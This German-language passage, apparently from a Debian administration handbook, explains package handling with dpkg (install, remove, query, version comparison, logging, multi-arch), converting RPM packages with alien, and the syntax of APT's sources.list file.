dpkg ist der Grundbefehl zum Umgang mit Debian-Paketen auf dem System. Falls Sie .deb-Pakete haben, ermöglicht dpkg es Ihnen, sie zu installieren oder ihren Inhalt zu analysieren. Aber dieses Programm sieht nur einen begrenzten Ausschnitt des Debian-Universums: es weiß, was auf dem System installiert ist und was auch immer in der Befehlszeile eingegeben wird, aber es weiß nichts von den anderen verfügbaren Paketen. Daher wird es scheitern, wenn eine Abhängigkeit nicht erfüllt ist. Dagegen erzeugen Programme wie apt eine Liste von Abhängigkeiten, um alles soweit wie möglich automatisch zu installieren.

ANMERKUNG dpkg oder apt?

dpkg sollte als ein Systemprogramm (backend) angesehen werden und apt eher als ein Programm für den Endanwender, das die Einschränkungen des ersteren nicht kennt. Diese Programme arbeiten zusammen, jedes mit seinen Besonderheiten und seiner Eignung für bestimmte Aufgaben.

5.4.1. Pakete installieren

dpkg ist vor allem das Programm zur Installation eines bereits vorhandenen Debian-Pakets (da es nichts herunterlädt). Hierzu verwenden wir seine Option -i oder --install.

Beispiel 5.2. Installation eines Pakets mit dpkg

# dpkg -i man-db_2.7.0.2-5_amd64.deb
(Lese datenbank ... 86425 Dateien und Verzeichnisse sind derzeit installiert.)
Vorbereitung zum Entpacken von man-db_2.7.0.2-5_amd64.deb ...
Entpacken von man-db (2.7.0.2-5) over (2.7.0.2-4) ...
man-db (2.7.0.2-5) wird eingerichtet...
Aktualisiere manpage-Datenbank ...
Verarbeite Trigger für mime-support (3.58) ...

Wir können die verschiedenen von dpkg durchgeführten Schritte sehen; so wissen wir, an welchem Punkt möglicherweise ein Fehler aufgetreten ist. Die Installation kann in zwei Phasen betroffen sein: erstens beim Entpacken und zweitens bei der Konfigurierung. apt-get nutzt dies, um die Anzahl der Aufrufe von dpkg zu begrenzen (weil jeder Aufruf aufwendig ist, da jedes Mal die Datenbank in den Speicher geladen werden muss, vor allem die Liste der bereits installierten Dateien).

Beispiel 5.3. Getrenntes Entpacken und Konfigurieren

# dpkg --unpack man-db_2.7.0.2-5_amd64.deb
(Reading database ... 86425 files and directories currently installed.)
Preparing to unpack man-db_2.7.0.2-5_amd64.deb ...
Unpacking man-db (2.7.0.2-5) over (2.7.0.2-5) ...
Processing triggers for mime-support (3.58) ...
# dpkg --configure man-db
Setting up man-db (2.7.0.2-5) ...
Updating database of manual pages ...

Manchmal wird dpkg bei der Installation eines Pakets scheitern und eine Fehlermeldung ausgeben; falls der Nutzer die Anweisung gibt, ihn zu ignorieren, wird es nur eine Warnung anzeigen; aus diesem Grund haben wir die verschiedenen --force-*-Optionen. Der Befehl dpkg --force-help oder die Dokumentation dieses Befehls zeigt Ihnen eine vollständige Liste dieser Optionen. Der häufigste Fehler, dem Sie früher oder später mit Sicherheit begegnen werden, ist eine Dateikollision. Wenn ein Paket eine Datei enthält, die bereits mit einem anderen Paket installiert worden ist, wird dpkg sich weigern, es zu installieren. In diesem Fall wird dann folgende Meldung erscheinen:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...
dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack):
trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

Falls Sie in diesem Fall denken, dass das Ersetzen dieser Datei kein wesentliches Risiko für die Stabilität Ihres Systems bedeutet (was normalerweise der Fall ist), können Sie die Option --force-overwrite benutzen, die dpkg anweist, diesen Fehler zu ignorieren und die Datei zu überschreiben.

Obwohl viele --force-*-Optionen verfügbar sind, wird wahrscheinlich nur --force-overwrite häufiger gebraucht werden. Es gibt diese Optionen nur für außergewöhnliche Situationen, und es ist besser, soweit wie möglich die Finger von ihnen zu lassen, um die vom Paketverwaltungsmechanismus vorgegebenen Regeln einzuhalten. Sie sollten nicht vergessen, dass diese Regeln die Konsistenz und Stabilität Ihres Systems sicherstellen.

VORSICHT Effektive Verwendung von --force-*

Falls Sie nicht vorsichtig sind, kann der Gebrauch einer der --force-*-Optionen zu einem System führen, bei dem die APT-Befehlsfamilie nicht mehr funktioniert. In der Tat erlauben es einige dieser Optionen, ein Paket zu installieren, obwohl eine Abhängigkeit nicht erfüllt ist, oder wenn ein Konflikt vorliegt. Das Ergebnis ist ein aus Sicht der Abhängigkeiten inkonsistentes System, und die APT-Befehle werden sich weigern, irgendeine Aktion auszuführen, außer solchen, die das System wieder in einen konsistenten Zustand versetzen (dies geschieht oft dadurch, dass die fehlende Abhängigkeit installiert oder ein problematisches Paket entfernt wird). Häufig führt dies zu einer Meldung wie der folgenden, die angezeigt wurde, nachdem eine neue Version von rdesktop installiert und dabei seine Abhängigkeit von einer neueren Version von libc6 ignoriert wurde:

# apt full-upgrade
[...]
You might want to run 'apt-get -f install' to correct these.
The following packages have unmet dependencies:
rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed
E: Unmet dependencies. Try using -f.

Ein mutiger Administrator, der von der Richtigkeit seiner Analyse überzeugt ist, wird sich möglicherweise entscheiden, eine Abhängigkeit oder einen Konflikt zu ignorieren und die entsprechende --force-*-Option verwenden. Falls er in diesem Fall weiterhin in der Lage sein will, apt oder aptitude zu verwenden, muss er /var/lib/dpkg/status editieren, um die Abhängigkeit oder den Konflikt, über den er sich hinweggesetzt hat, zu löschen oder abzuändern.

Diese Manipulation ist ein unschöner Eingriff und sollte nicht benutzt werden, oder doch nur im äußersten Notfall. Häufig besteht eine bessere Lösung darin, das Paket, das das Problem verursacht, neu zu kompilieren (siehe Abschnitt 15.1, „Ein Paket aus seinen Quellen neu erstellen“) oder eine neue (möglicherweise korrigierte) Version aus einem Repository wie stable-backports zu verwenden (siehe Abschnitt 6.1.2.4, „Stable Backports“).

5.4.2. Paketentfernung

Der Aufruf von dpkg mit der Option -r oder --remove, gefolgt von dem Paketnamen, entfernt das Paket. Dieses Entfernen ist jedoch nicht vollständig: alle Konfigurationsdateien, Betreuerskripte, Protokolldateien (Systemprotokolle) und andere vom Paket verarbeitete Nutzerdaten bleiben zurück. Es auf diese Weise zu deinstallieren ist schnell geschehen, andererseits bleibt aber die Möglichkeit bestehen, es schnell und mit derselben Konfiguration wieder zu installieren. Um alles, was mit einem Paket in Zusammenhang steht, vollständig zu entfernen, verwenden Sie die Option -P oder --purge, gefolgt von dem Paketnamen.

Beispiel 5.4. Entfernen und vollständiges Löschen des Pakets debian-cd

# dpkg -r debian-cd
(Reading database ... 97747 files and directories currently installed.)
Removing debian-cd (3.1.17) ...
# dpkg -P debian-cd
(Reading database ... 97401 files and directories currently installed.)
Removing debian-cd (3.1.17) ...
Purging configuration files for debian-cd (3.1.17) ...

5.4.3. Abfragen der Datenbank von dpkg und Untersuchen der .deb-Dateien

ZURÜCK ZU DEN GRUNDLAGEN Optionen-Syntax

Die meisten Optionen gibt es sowohl in einer „langen“ Version (ein oder mehrere einschlägige Wörter mit einem vorangestellten doppelten Bindestrich) als auch in einer „kurzen“ Version (ein einzelner Buchstabe, häufig der Anfangsbuchstabe einer der Wörter der langen Version, mit einem einzelnen vorangestellten Bindestrich). Diese Konvention ist so sehr verbreitet, dass sie zu einem POSIX-Standard wurde.

Bevor wir dieses Kapitel abschließen, möchten wir uns noch einige dpkg-Optionen ansehen, welche die interne Datenbank abfragen, um Informationen zu erhalten. Wir führen hierzu folgende Beispiele zunächst in der langen Version und dann der entsprechenden kurzen Version (die natürlich dieselben Parameter haben kann) an: --listfiles paket (oder -L), listet die von diesem Paket installierten Dateien auf; --search datei (oder -S), liefert das Paket, aus welchem die Datei stammt; --status paket (oder -s), zeigt die Kopfzeilen eines installierten Pakets an; --list (oder -l), zeigt eine Liste der Pakete an, die dem System bekannt sind, und ihren Installationsstatus; --contents datei.deb (oder -c), führt die in dem genannten Debian-Paket enthaltenen Dateien auf; --info datei.deb (oder -I), zeigt die Kopfzeilen des Debian-Pakets an.

Beispiel 5.5. Verschiedene Anfragen mit dpkg

$ dpkg -L base-passwd
/.
/usr
/usr/sbin
/usr/sbin/update-passwd
/usr/share
/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/base-passwd
/usr/share/doc-base
/usr/share/doc-base/users-and-groups
/usr/share/base-passwd
/usr/share/base-passwd/group.master
/usr/share/base-passwd/passwd.master
/usr/share/man
/usr/share/man/pl
/usr/share/man/pl/man8
/usr/share/man/pl/man8/update-passwd.8.gz
/usr/share/man/ru
/usr/share/man/ru/man8
/usr/share/man/ru/man8/update-passwd.8.gz
/usr/share/man/ja
/usr/share/man/ja/man8
/usr/share/man/ja/man8/update-passwd.8.gz
/usr/share/man/fr
/usr/share/man/fr/man8
/usr/share/man/fr/man8/update-passwd.8.gz
/usr/share/man/es
/usr/share/man/es/man8
/usr/share/man/es/man8/update-passwd.8.gz
/usr/share/man/de
/usr/share/man/de/man8
/usr/share/man/de/man8/update-passwd.8.gz
/usr/share/man/man8
/usr/share/man/man8/update-passwd.8.gz
/usr/share/doc
/usr/share/doc/base-passwd
/usr/share/doc/base-passwd/users-and-groups.txt.gz
/usr/share/doc/base-passwd/changelog.gz
/usr/share/doc/base-passwd/copyright
/usr/share/doc/base-passwd/README
/usr/share/doc/base-passwd/users-and-groups.html
$ dpkg -S /bin/date
coreutils: /bin/date
$ dpkg -s coreutils
Package: coreutils
Essential: yes
Status: install ok installed
Priority: required
Section: utils
Installed-Size: 13855
Maintainer: Michael Stone <mstone@debian.org>
Architecture: amd64
Multi-Arch: foreign
Version: 8.23-3
Replaces: mktemp, realpath, timeout
Pre-Depends: libacl1 (>= 2.2.51-8), libattr1 (>= 1:2.4.46-8), libc6 (>= 2.17), libselinux1 (>= 2.1.13)
Conflicts: timeout
Description: GNU core utilities
This package contains the basic file, shell and text manipulation
utilities which are expected to exist on every operating system.
.
Specifically, this package includes:
arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp
csplit cut date dd df dir dircolors dirname du echo env expand expr
factor false flock fmt fold groups head hostid id install join link ln
logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt
od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm
rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac
tail tee test timeout touch tr true truncate tsort tty uname unexpand
uniq unlink users vdir wc who whoami yes
Homepage: http://gnu.org/software/coreutils
$ dpkg -l 'b*'
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                    Version          Architecture     Description
+++-=======================-================-================-====================================================
un  backupninja             <none>           <none>           (no description available)
ii  backuppc                3.3.0-2          amd64            high-performance, enterprise-grade system for backin
un  base                    <none>           <none>           (no description available)
un  base-config             <none>           <none>           (no description available)
ii  base-files              8                amd64            Debian base system miscellaneous files
ii  base-passwd             3.5.37           amd64            Debian base system master password and group files
[...]
$ dpkg -c /var/cache/apt/archives/gnupg_1.4.18-6_amd64.deb
drwxr-xr-x root/root         0 2014-12-04 23:03 ./
drwxr-xr-x root/root         0 2014-12-04 23:03 ./lib/
drwxr-xr-x root/root         0 2014-12-04 23:03 ./lib/udev/
drwxr-xr-x root/root         0 2014-12-04 23:03 ./lib/udev/rules.d/
-rw-r--r-- root/root      2711 2014-12-04 23:03 ./lib/udev/rules.d/60-gnupg.rules
drwxr-xr-x root/root         0 2014-12-04 23:03 ./usr/
drwxr-xr-x root/root         0 2014-12-04 23:03 ./usr/lib/
drwxr-xr-x root/root         0 2014-12-04 23:03 ./usr/lib/gnupg/
-rwxr-xr-x root/root     39328 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_ldap
-rwxr-xr-x root/root     92872 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_hkp
-rwxr-xr-x root/root     47576 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_finger
-rwxr-xr-x root/root     84648 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_curl
-rwxr-xr-x root/root      3499 2014-12-04 23:03 ./usr/lib/gnupg/gpgkeys_mailto
drwxr-xr-x root/root         0 2014-12-04 23:03 ./usr/bin/
-rwxr-xr-x root/root     60128 2014-12-04 23:03 ./usr/bin/gpgsplit
-rwxr-xr-x root/root   1012688 2014-12-04 23:03 ./usr/bin/gpg
[...]
$ dpkg -I /var/cache/apt/archives/gnupg_1.4.18-6_amd64.deb
new debian package, version 2.0.
size 1148362 bytes: control archive=3422 bytes.
1264 bytes,    26 lines      control
4521 bytes,    65 lines      md5sums
479 bytes,    13 lines   *  postinst             #!/bin/sh
473 bytes,    13 lines   *  preinst              #!/bin/sh
Package: gnupg
Version: 1.4.18-6
Architecture: amd64
Maintainer: Debian GnuPG-Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>
Installed-Size: 4888
Depends: gpgv, libbz2-1.0, libc6 (>= 2.15), libreadline6 (>= 6.0), libusb-0.1-4 (>= 2:0.1.12), zlib1g (>= 1:1.1.4)
Recommends: gnupg-curl, libldap-2.4-2 (>= 2.4.7)
Suggests: gnupg-doc, libpcsclite1, parcimonie, xloadimage | imagemagick | eog
Section: utils
Priority: important
Multi-Arch: foreign
Homepage: http://www.gnupg.org
Description: GNU privacy guard - a free PGP replacement
GnuPG is GNU's tool for secure communication and data storage.
It can be used to encrypt data and to create digital signatures.
It includes an advanced key management facility and is compliant
with the proposed OpenPGP Internet standard as described in RFC 4880.
[...]

WEITERE SCHRITTE Vergleich von Versionen

Da dpkg das Programm zur Handhabung von Debian-Paketen ist, stellt es auch die Referenzanwendung für die Logik zum Vergleich von Versionsnummern bereit. Daher hat es die Option --compare-versions, die von externen Programmen benutzt werden kann (insbesondere von Konfigurationsskripten, die von dpkg selbst ausgeführt werden). Diese Option benötigt drei Parameter: eine Versionsnummer, einen Vergleichsoperator und eine zweite Versionsnummer. Die möglichen Operatoren sind lt (kleiner als), le (kleiner als oder gleich), eq (gleich), ne (ungleich), ge (größer als oder gleich) und gt (größer als). Falls der Vergleich zutrifft, gibt dpkg den Rückgabewert 0 (Erfolg) zurück; anderenfalls gibt es einen von Null verschiedenen Wert zurück (zeigt einen Fehler an).

$ dpkg --compare-versions 1.2-3 gt 1.1-4
$ echo $?
0
$ dpkg --compare-versions 1.2-3 lt 1.1-4
$ echo $?
1
$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1
$ echo $?
1

Beachten Sie den unerwarteten Fehlschlag des letzten Vergleichs: für dpkg hat pre, das normalerweise eine Vorabveröffentlichung bezeichnet, keine besondere Bedeutung, und es behandelt die Buchstaben in derselben Weise wie die Zahlen (a <_b <_c ...), in alphabetischer Reihenfolge. Daher hält es „0pre3“ für größer als „0“. Wenn wir möchten, dass die Versionsnummer eines Pakets eine Vorabveröffentlichung kennzeichnet, verwenden wir die Tilde „~“:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1
$ echo $?
0

5.4.4. dpkgs Protokolldatei

dpkg speichert ein Protokoll über alle seine Aktivitäten in /var/log/dpkg.log. Dieses Protokoll ist äußerst umfangreich, da es jeden einzelnen Schritt aufzeichnet, durch den die von dpkg verarbeiteten Pakete gehen. Zusätzlich zu der Möglichkeit, das Verhalten von dpkg zu verfolgen, hilft es vor allem auch dabei, den Verlauf der Entwicklung des Systems festzuhalten: man kann den genauen Zeitpunkt feststellen, zu dem jedes Paket installiert oder aktualisiert worden ist, und diese Information kann für das Verständnis einer kürzlich aufgetretenen Verhaltensänderung äußerst hilfreich sein. Da alle Versionen aufgezeichnet werden, erleichtert es außerdem eine Gegenprobe mit changelog.Debian.gz für betroffene Pakete oder sogar mit Online-Fehlerberichten.

5.4.5. Multi-Arch Unterstützung

Alle Debian Pakete haben ein Architektur-Feld in ihren Kontrollinformationen. Dieses Feld kann entweder “all” (für Pakete, die architekturunabhängig sind) enthalten oder die Bezeichnung der Ziel-Architektur (wie “amd64”, “armhf”, …). Im letzteren Fall wird dpkg standardmäßig das Paket nur installieren, wenn diese Architekturangabe zu derjenigen des ausführenden Systems passt, wie sie von dpkg --print-architecture zurückgegeben wird.

Diese Einschränkung stellt sicher, dass Anwender nicht am Ende mit einem übersetzten Programm für eine falsche Architektur dastehen. Damit wäre eigentlich alles in bester Ordnung, aber es gibt (einige wenige) Computer, die in der Lage sind, Programme für mehrere Architekturen auszuführen, entweder nativ (ein Amd64-System kann "i386"-Code ausführen) oder mit Hilfe von Emulatoren.

5.4.5.1. Multi-Arch einschalten

Die Unterstützung für multi-arch von dpkg ermöglicht es Anwendern, "fremde" Architekturen festzulegen, die auf dem aktullen System installiert werden können. Dazu wird einfach der Befehl dpkg --add-architecture, wie unten gezeigt, aufgerufen. Der korrespondierende Befehl zum Beenden der Unterstützung für die andere Architektur lautet dpkg --remove-architecture, er funktioniert allerdings nur, wenn keine Pakete für diese Architektur mehr in Benutzung sind.

# dpkg --print-architecture
amd64
# dpkg --print-foreign-architectures
# dpkg -i gcc-4.9-base_4.9.1-19_armhf.deb
dpkg: error processing archive gcc-4.9-base_4.9.1-19_armhf.deb (--install):
package architecture (armhf) does not match system (amd64)
Errors were encountered while processing:
gcc-4.9-base_4.9.1-19_armhf.deb
# dpkg --add-architecture armhf
# dpkg --add-architecture armel
# dpkg --print-foreign-architectures
armhf
armel
# dpkg -i gcc-4.9-base_4.9.1-19_armhf.deb
Selecting previously unselected package gcc-4.9-base:armhf.
(Reading database ... 86425 files and directories currently installed.)
Preparing to unpack gcc-4.9-base_4.9.1-19_armhf.deb ...
Unpacking gcc-4.9-base:armhf (4.9.1-19) ...
Setting up gcc-4.9-base:armhf (4.9.1-19) ...
# dpkg --remove-architecture armhf
dpkg: error: cannot remove architecture 'armhf' currently in use by the database
# dpkg --remove-architecture armel
# dpkg --print-foreign-architectures
armhf

Anmerkung die Multi-Arch-Unterstützung von APT

APT erkennt automatisch, wenn die Unterstützung für fremde Architekturen in dpkg konfiguriert ist und wird die dazu passenden Paket-Dateien bei einer Aktualisierung herunterladen.

Architektur-fremde Pakete können dann mit dem Befehl apt install Paket:Architektur installiert werden.

Praktisches Beispiel Verwenden von i386-Programmen unter amd64

Es gibt mehrere Anwendungsszenarien für multi-arch, aber die verbreitetste ist die Möglichkeit, i386-Code auf 64bit-Systemen (amd64) auszuführen, besonders, weil einige populäre AnWendungen (wie Skype) nur in 32bit-Versionen vorliegen.

5.4.5.2. Anpassungen im Hinblick auf Multi-Arch

Um Multi-Arch tatsächlich nützlich und anwendbar zu machen, mussten Bibliotheken neu gepackt und in architekturspezifische Verzeichnisse eingestellt werden, damit mehrere Kopien (die für unterschiedliche Architekturen gedacht sind,) nebeneinander installiert werden können. Derart aktualisierte Pakete enthalten die “Multi-Arch: same”-Kopfzeilen die dem Paketier-System sagen, dass die verschiedenen Architekturen des Pakets problemlos parallel installiert werden können (und zeigen darüber hinaus an, dass diese Pakete nur Abhängigkeiten innerhalb der gleichen Architektur genügen können). Da Multi-Arch seine Geburtsstunde in Wheezy hatte, sind noch nicht alle Bibliotheken umgestellt.

$ dpkg -s gcc-4.9-base
dpkg-query: error: --status needs a valid package name but 'gcc-4.9-base' is not: ambiguous package name 'gcc-4.9-base' with more than one installed instance

Use --help for help about querying packages.
$ dpkg -s gcc-4.9-base:amd64 gcc-4.9-base:armhf | grep ^Multi
Multi-Arch: same
Multi-Arch: same
$ dpkg -L libgcc1:amd64 |grep .so
/lib/x86_64-linux-gnu/libgcc_s.so.1
$ dpkg -S /usr/share/doc/gcc-4.9-base/copyright
gcc-4.9-base:amd64, gcc-4.9-base:armhf: /usr/share/doc/gcc-4.9-base/copyright

Es sollte darauf hingewiesen werden, dass Multi-Arch: same Pakete im Namen den Hinweis auf die Architektur enthalten müssen, um eindeutig erkennbar zu sein. Auch können sie Dateien mit anderen Instanzen des gleichen Pakets teilen. Der Befehl dpkg stellt sicher, dass gemeinsam genutzte Dateien auf Bit-Ebene identisch sind. Und nicht zuletzt, müssen alle Instanzen eines Pakets den gleichen Versionsstand haben. Sie müssen also auch gleichzeitig aktualisiert werden.

Multi-Arch birgt noch einige weitere interessante Herausforderungen im Hinblick darauf, wie Abhängigkeiten gehandhabt werden. Um einer Abhängigkeit zu genügen, muss ein Paket entweder als “Multi-Arch: foreign” gekennzeichnet sein, oder seine Architektur muss mit derjenigen des Pakets übereinstimmen, das die Anhängigkeit festgelegt hat. Eine Architekturfestlegung kann auch noch dadurch auf alle möglichen Architekturen ausgeweitet werden, wenn package:any angegeben wird, aber architekturfremde Pakete können dieser Anforderung nur genügen, wenn sie als “Multi-Arch: allowed” gekennzeichne sind.

5.5. Koexistenz mit anderen Paketierungssystemen

Debian-Pakete sind nicht die einzigen in der freien Software-Welt verwendeten Software-Pakete. Hauptkonkurrent ist das RPM-Format der Red Hat Linux Distribution und seine zahlreichen Abkömmlinge. Red Hat ist eine sehr populäre kommerzielle Distribution. Häufig wird von Drittanbietern bereitgestellte Software als RPM-Paket angeboten und nicht als Debian.

Für diese Fälle sollten Sie wissen, dass das Programm rpm, das mit RPM-Paketen umgeht, als Debian-Paket verfügbar ist, so dass es möglich ist, dieses Paketformat auf Debian zu verwenden. Dabei sollte jedoch beachtet werden, diese Verarbeitungen darauf zu beschränken, Informationen aus dem Paket zu gewinnen oder seine Unversehrtheit zu überprüfen. Es ist dagegen unsinnig, rpm zur Installation eines RPM-Pakets auf einem Debian-System zu verwenden. RPM benutzt seine eigene Datenbank, die von denen für systemeigene Programme (wie zum Beispiel dpkg) verschieden ist. Daher kann eine stabile Koexistenz zweier Paketverwaltungssysteme nicht sichergestellt werden.

Dagegen kann das Programm alien RPM-Pakete in Debian-Pakete umwandeln und umgekehrt.

GEMEINSCHAFT Die Einführung von .deb fördern

Falls Sie regelmäßig das Programm alien verwenden, um RPM-Pakete eines Ihrer Lieferanten zu installieren, sollten Sie ihm schreiben und freundlich darauf hinweisen, dass Sie das .deb-Format bevorzugen würden. Beachten Sie, dass das Format eines Pakets nicht alles ist: ein mit alien erzeugtes .deb-Paket oder eines, das für eine andere Debian-Version erstellt wurde als die von Ihnen verwendete oder gar für eine abgeleitete Distribution wie Ubuntu, würde wahrscheinlich nicht das gleiche Niveau an Qualität und Integration bieten, wie ein Paket, das speziell für Debian Jessie entwickelt worden ist.

$ fakeroot alien --to-deb phpMyAdmin-2.0.5-2.noarch.rpm
phpmyadmin_2.0.5-2_all.deb generated
$ ls -s phpmyadmin_2.0.5-2_all.deb
64 phpmyadmin_2.0.5-2_all.deb

Sie werden feststellen, dass dieses Verfahren sehr einfach ist. Sie müssen jedoch wissen, dass das so erstellte Paket keinerlei Informationen über Abhängigkeiten enthält, da die Abhängigkeiten in den beiden Paketformaten keine systematische Entsprechung haben. Der Administrator muss daher manuell sicherstellen, dass das konvertierte Paket richtig funktioniert, und aus diesem Grund sollten so erzeugte Debian-Pakete möglichst vermieden werden. Glücklicherweise hat Debian von allen Distributionen die größte Sammlung an Softwarepaketen, und es ist wahrscheinlich, dass das, was Sie suchen, bereits darin vorhanden ist.

Wenn Sie sich die Man-Page für das Programm alien ansehen, werden sie feststellen, dass es auch andere Paketformate verarbeiten kann, vor allem solche der Slackware-Distribution (sie sind einfache tar.gz Archive).

Die Stabilität der Software, die unter Verwendung des Programms dpkg zum Einsatz gebracht wird, trägt zu Debians gutem Ruf bei. Die Programmgarnitur APT, die im folgenden Kapitel beschrieben wird, bewahrt diesen Vorzug, während sie gleichzeitig den Administrator davon entlastet, den Status von Paketen verwalten zu müssen, eine notwendige aber schwierige Aufgabe.

Kapitel 6. Wartung und Aktualisierung: Die APT-Tools

Dass Debian bei Administratoren so beliebt ist, liegt an der einfachen Installation von Software und daran, wie einfach es aktuell gehalten werden kann. Dieser einzigartige Vorteil rührt weitestgehend vom Programm APT, dessen Funktionen sich die Administratoren von Falcot Corp mit Begeisterung angeeignet haben.

APT ist die Abkürzung für Advanced Package Tool (fortschrittliches Paketierungstool). Den Begriff fortschrittlich verdient sich das Tool durch sein Herangehen an Pakete. Es bewertet diese nicht einfach individuell, sondern betrachtet die Pakete als Ganzes und erzeugt die bestmögliche Kombination von Paketen abhängig davon, welche (je nach Abhängigkeit) verfügbar und kompatibel sind.

WÖRTERVERZEICHNIS Paketquellen und Quellpakete

Der Begriff Quelle wird mehrdeutig verwendet. Ein Quellpaket – ein Paket, das den Quelltext eines Programms enthält – sollte nicht mit mit einer Paketquelle verwechselt werden – einem Depot (Website, FTP Server, CD-ROM, lokales Verzeichnis, etc.), das Pakete zur Verfügung stellt .

APT benötigt eine "Liste der Paketquellen": Die Datei /etc/apt/sources.list enthält eine Liste der verschiedenen Depots (oder "Quellen"), die Debian Pakete zur Verfügung stellen. APT importiert dann von jeder Quelle die Liste der dort verfügbaren Pakete. Dazu lädt APT von jeder Quelle die nötigen Dateien herunter und analysiert deren Inhalt: Packages.xz (oder eine Variante mit einer anderen Kompressionsmethode wie z.B. Packages.gz oder .bz2 und falls es sich um Binärpakete handelt) und Sources.xz oder eine Variante (falls es sich um Quelltextpakete handelt) Falls bereits ältere Versionen dieser Dateien gespeichert wurden, kann APT diese aktualisieren, indem es nur die geänderten Teile herunterlädt (siehe die Seitenleiste TIPP Inkrementelle Aktualisierung).

ZURÜCK ZU DEN GRUNDLAGEN gzip, bzip2, LZMA und XZ Komprimierung

Die Endung .gz kennzeichnet eine Datei, die mit dem Dienstprogramm gzip komprimiert wurde. gzip ist ein schnelles und effizientes traditionelles Unix-Dienstprogramm zum Komprimieren von Dateien. Neuere Werkzeuge erreichen bessere Komprimierungsraten, benötigen aber mehr Resourcen (Rechenzeit und Hauptspeicher), um eine Datei zu (de-)komprimieren. Dazu gehören, in der Reihenfolge ihrer Einführung, bzip2 (erzeugt Dateien mit der Endung .bz2 ) lzma (erzeugt .lzma Dateien) und xz (erzeugt .xz Dateien).

6.1. Befüllen der sources.list Datei

6.1.1. Syntax

Jede aktive Zeile in der Datei /etc/apt/sources.list enthält die Beschreibung einer Quelle, bestehend aus drei, durch Kommata getrennten, Teilen.

Das erste Feld bezeichnet die Art der Quelle:

- “deb” für Binärpakete,

- “deb-src” für Quellpakete.

Das zweite Feld gibt den Basis-URL der Quelle an (kombiniert mit den Dateinamen in den Dateien namens Packages.gz müssen sich vollständige und gültige URLs ergeben): Diese Quelle kann aus einem Debian-Spiegelserver bestehen oder einer Paketsammlung, die von dritter Seite aufgesetzt wurde. Der URL kann mit file:// beginnen, um eine Quelle anzugeben, die sich im lokalen Verzeichnisbaum des Systems befindet, mit http://, um eine Quelle anzugeben, die auf einem Webserver zugreifbar ist, oder mit ftp:// für eine auf einem FTP-Server verfügbare Quelle. Der URL kann auch mit cdrom: beginnen, bei einer CD-ROM/DVD-ROM/Blu-ray-basierten Installation, allerdings wird dies seltener, da netzbasierte Installationsmethoden mehr und mehr die Regel werden.

Die Syntax des letzten Feldes richtet sich nach der Struktur des Repositoriums. Im einfachsten Fall kann man dort einfach das Unterverzeichnis (zwingend mit vorangestelltem Schrägstrich) der gewünschten Quelle angeben (oft nur einfach ein “./”, was das Fehlen eines Unterverzeichnisses anzeigt — die Pakete befinden sich dann direkt an der angegebenen URL). Aber üblicherweise sind die Repositorien wie ein Debian Spiegel gegliedert, bestehend aus mehreren Distributionen, jede mit mehreren Komponenten. In diesen Fällen gibt man die gewählte Distribution an (mit ihrem "Codenamen" — siehe die Liste in der Seitenleiste GEMEINSCHAFT Bruce Perens, ein umstrittener Leiter — oder mit dem Namen der zugehörigen "Suite" — stable, testing, unstable), dann die Komponenten (oder Abschnitte), die aktiviert werden sollen (zur Auswahl stehen main, contrib, und non-free auf einem typischen Debian Spiegel).

WÖRTERVERZEICHNIS Die main, contrib und non-free Archive

Das Debian-Archiv ist in drei Bereiche unterteilt. Die Unterscheidung basiert auf der vom Autor für sein Werk gewählten Lizenz. Main (das Main-Archiv) enthält alle Pakete, die den Anforderungen der Debian-Richtlinien für Freie Software vollständig genügen.

Das non-free Archiv ist anders, da es Software umfasst, die diesen Richtlinien (nicht vollständig) entspricht, aber trotzdem ohne Einschränkungen verteilt werden darf. Dieses Archiv ist kein offizieller Bestandteil von Debian sondern ein Service für Anwender, die einige dieser Programme brauchen – allerdings empfiehlt Debian, freier Software immer den Vorzug zu geben. Die Existenz dieses Bereiches stellt ein beträchtliches Problem für Richard M. Stallman dar und hält die Free Software Foundation davon ab, Debian zu empfehlen.

Contrib (contributions) ist eine Sammlung von quelloffener Software, die für ihre Funktion auf nicht-freie Elemente angewiesen ist. Dabei kann es sich um Software aus dem non-free Bereich handeln, oder um nicht-freie Daten wie Spiele-ROMs, BIOS von Spielkonsolen usw. Contrib enthält auch freie Software, die proprietäre Bestandteile zur Übersetzung benötigt. Dies war anfänglich bei der OpenOffice.org Büro-Suite der Fall, die eine proprietäre Java Umgebung benötigte.

TIPP /etc/apt/sources.list.d/*.list Dateien

Falls viele Paketquellen benannt werden, kann es nützlich sein, diese in mehrere Dateien aufzuteilen. Jeder Teil wird dann in /etc/apt/sources.list.d/Dateiname.list gespeichert (siehe die Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Auf .d endende Verzeichnisse).

